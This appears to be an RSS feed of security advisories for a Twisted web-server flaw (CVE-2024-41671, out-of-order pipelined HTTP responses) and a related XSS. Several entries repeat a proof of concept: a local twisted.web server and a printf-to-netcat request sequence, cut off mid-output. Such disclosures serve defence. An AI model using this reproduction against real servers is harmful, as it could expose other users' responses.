<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 10:29:40 +0000</lastBuildDate>
    <item>
      <title>bdu:2024-06573</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2024-06573</link>
      <description>bdu:2024-06573</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2024-06573</guid>
    </item>
    <item>
      <title>BREW-alot-CVE-2024-41671 — twisted.web has disordered HTTP pipeline response</title>
      <link>https://cve.radiocsirt.org/vuln/brew-alot-cve-2024-41671</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: alot&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.&lt;/p&gt;
&lt;p&gt;### PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update &amp;amp;&amp;amp; apt -y install ncat git python3 python3-pip \
    &amp;amp;&amp;amp; git clone --recurse-submodules https://github.com/twisted/twisted \
    &amp;amp;&amp;amp; cd twisted \
    &amp;amp;&amp;amp; pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests&amp;#39; methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor&lt;/p&gt;
&lt;p&gt;class TheResource(resource.Resource):
    isLeaf = True&lt;/p&gt;
&lt;p&gt;def render_GET(self, request) -&amp;gt; bytes:
        return b&amp;#34;GET&amp;#34;&lt;/p&gt;
&lt;p&gt;def render_POST(self, request) -&amp;gt; bytes:
        return b&amp;#34;POST&amp;#34;&lt;/p&gt;
&lt;p&gt;site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n&amp;#39;; sleep 1; printf &amp;#39;GET / HTTP/1.1\r\n\r\n&amp;#39;; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Conte…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: alot&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.&lt;/p&gt;
&lt;p&gt;### PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update &amp;amp;&amp;amp; apt -y install ncat git python3 python3-pip \
    &amp;amp;&amp;amp; git clone --recurse-submodules https://github.com/twisted/twisted \
    &amp;amp;&amp;amp; cd twisted \
    &amp;amp;&amp;amp; pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests&amp;#39; methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor&lt;/p&gt;
&lt;p&gt;class TheResource(resource.Resource):
    isLeaf = True&lt;/p&gt;
&lt;p&gt;def render_GET(self, request) -&amp;gt; bytes:
        return b&amp;#34;GET&amp;#34;&lt;/p&gt;
&lt;p&gt;def render_POST(self, request) -&amp;gt; bytes:
        return b&amp;#34;POST&amp;#34;&lt;/p&gt;
&lt;p&gt;site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n&amp;#39;; sleep 1; printf &amp;#39;GET / HTTP/1.1\r\n\r\n&amp;#39;; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Conte…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/brew-alot-cve-2024-41671</guid>
    </item>
    <item>
      <title>EUVD-2026-258652</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-258652</link>
      <description>EUVD-2026-258652</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-258652</guid>
    </item>
    <item>
      <title>fkie_cve-2024-41671</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-41671</link>
      <description>&lt;p&gt;Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-41671</guid>
    </item>
    <item>
      <title>GHSA-c8m8-j448-xjx7 — twisted.web has disordered HTTP pipeline response</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-c8m8-j448-xjx7</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: twisted&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.&lt;/p&gt;
&lt;p&gt;### PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update &amp;amp;&amp;amp; apt -y install ncat git python3 python3-pip \
    &amp;amp;&amp;amp; git clone --recurse-submodules https://github.com/twisted/twisted \
    &amp;amp;&amp;amp; cd twisted \
    &amp;amp;&amp;amp; pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests&amp;#39; methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor&lt;/p&gt;
&lt;p&gt;class TheResource(resource.Resource):
    isLeaf = True&lt;/p&gt;
&lt;p&gt;def render_GET(self, request) -&amp;gt; bytes:
        return b&amp;#34;GET&amp;#34;&lt;/p&gt;
&lt;p&gt;def render_POST(self, request) -&amp;gt; bytes:
        return b&amp;#34;POST&amp;#34;&lt;/p&gt;
&lt;p&gt;site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n&amp;#39;; sleep 1; printf &amp;#39;GET / HTTP/1.1\r\n\r\n&amp;#39;; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Conte…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: twisted&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.&lt;/p&gt;
&lt;p&gt;### PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update &amp;amp;&amp;amp; apt -y install ncat git python3 python3-pip \
    &amp;amp;&amp;amp; git clone --recurse-submodules https://github.com/twisted/twisted \
    &amp;amp;&amp;amp; cd twisted \
    &amp;amp;&amp;amp; pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests&amp;#39; methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor&lt;/p&gt;
&lt;p&gt;class TheResource(resource.Resource):
    isLeaf = True&lt;/p&gt;
&lt;p&gt;def render_GET(self, request) -&amp;gt; bytes:
        return b&amp;#34;GET&amp;#34;&lt;/p&gt;
&lt;p&gt;def render_POST(self, request) -&amp;gt; bytes:
        return b&amp;#34;POST&amp;#34;&lt;/p&gt;
&lt;p&gt;site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n&amp;#39;; sleep 1; printf &amp;#39;GET / HTTP/1.1\r\n\r\n&amp;#39;; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Conte…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-c8m8-j448-xjx7</guid>
    </item>
    <item>
      <title>msrc_CVE-2024-41671 — twisted.web has disordered HTTP pipeline response</title>
      <link>https://cve.radiocsirt.org/vuln/msrc_cve-2024-41671</link>
      <description>msrc_CVE-2024-41671</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/msrc_cve-2024-41671</guid>
    </item>
    <item>
      <title>OESA-2024-1983 — python-twisted security update</title>
      <link>https://cve.radiocsirt.org/vuln/oesa-2024-1983</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; openEuler:24.03-LTS: python-twisted&lt;/p&gt;
&lt;p&gt;Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:&#13;
&#13;
Security Fix(es):&#13;
&#13;
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)&#13;
&#13;
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; openEuler:24.03-LTS: python-twisted&lt;/p&gt;
&lt;p&gt;Twisted is an event-based framework for internet applications, supporting Python 2.7 and Python 3.5+. It includes modules for many different purposes, including the following:&#13;
&#13;
Security Fix(es):&#13;
&#13;
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41671)&#13;
&#13;
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.(CVE-2024-41810)&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/oesa-2024-1983</guid>
    </item>
    <item>
      <title>openSUSE-SU-2024:14228-1 — matrix-synapse-1.112.0-1.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2024:14228-1</link>
      <description>&lt;p&gt;matrix-synapse-1.112.0-1.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;matrix-synapse-1.112.0-1.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2024:14228-1</guid>
    </item>
    <item>
      <title>PYSEC-2026-1992 — twisted.web has disordered HTTP pipeline response</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-1992</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: twisted&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.&lt;/p&gt;
&lt;p&gt;### PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update &amp;amp;&amp;amp; apt -y install ncat git python3 python3-pip \
    &amp;amp;&amp;amp; git clone --recurse-submodules https://github.com/twisted/twisted \
    &amp;amp;&amp;amp; cd twisted \
    &amp;amp;&amp;amp; pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests&amp;#39; methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor&lt;/p&gt;
&lt;p&gt;class TheResource(resource.Resource):
    isLeaf = True&lt;/p&gt;
&lt;p&gt;def render_GET(self, request) -&amp;gt; bytes:
        return b&amp;#34;GET&amp;#34;&lt;/p&gt;
&lt;p&gt;def render_POST(self, request) -&amp;gt; bytes:
        return b&amp;#34;POST&amp;#34;&lt;/p&gt;
&lt;p&gt;site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n&amp;#39;; sleep 1; printf &amp;#39;GET / HTTP/1.1\r\n\r\n&amp;#39;; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Conte…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: twisted&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.&lt;/p&gt;
&lt;p&gt;### PoC
0. Start a fresh Debian container:
```sh
docker run --workdir /repro --rm -it debian:bookworm-slim
```
1. Install twisted and its dependencies:
```sh
apt -y update &amp;amp;&amp;amp; apt -y install ncat git python3 python3-pip \
    &amp;amp;&amp;amp; git clone --recurse-submodules https://github.com/twisted/twisted \
    &amp;amp;&amp;amp; cd twisted \
    &amp;amp;&amp;amp; pip3 install --break-system-packages .
```
2. Run a twisted.web HTTP server that echos received requests&amp;#39; methods. e.g., the following:
```python
from twisted.web import server, resource
from twisted.internet import reactor&lt;/p&gt;
&lt;p&gt;class TheResource(resource.Resource):
    isLeaf = True&lt;/p&gt;
&lt;p&gt;def render_GET(self, request) -&amp;gt; bytes:
        return b&amp;#34;GET&amp;#34;&lt;/p&gt;
&lt;p&gt;def render_POST(self, request) -&amp;gt; bytes:
        return b&amp;#34;POST&amp;#34;&lt;/p&gt;
&lt;p&gt;site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()
```
3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
```sh
(printf &amp;#39;POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n&amp;#39;; sleep 1; printf &amp;#39;GET / HTTP/1.1\r\n\r\n&amp;#39;; sleep 1) | nc localhost 80
```
4. Observe that the responses arrive out of order:
```
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Conte…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-1992</guid>
    </item>
    <item>
      <title>SUSE-SU-2024:2732-1 — Security update for python-Twisted</title>
      <link>https://cve.radiocsirt.org/vuln/suse-su-2024:2732-1</link>
      <description>&lt;p&gt;Security update for python-Twisted&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Security update for python-Twisted&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/suse-su-2024:2732-1</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2024-41671</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-41671</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:Pro:18.04:LTS: twisted, Ubuntu:20.04:LTS: twisted, Ubuntu:22.04:LTS: twisted, Ubuntu:24.04:LTS: twisted&lt;/p&gt;
&lt;p&gt;Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:Pro:18.04:LTS: twisted, Ubuntu:20.04:LTS: twisted, Ubuntu:22.04:LTS: twisted, Ubuntu:24.04:LTS: twisted&lt;/p&gt;
&lt;p&gt;Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2024-41671</guid>
    </item>
  </channel>
</rss>
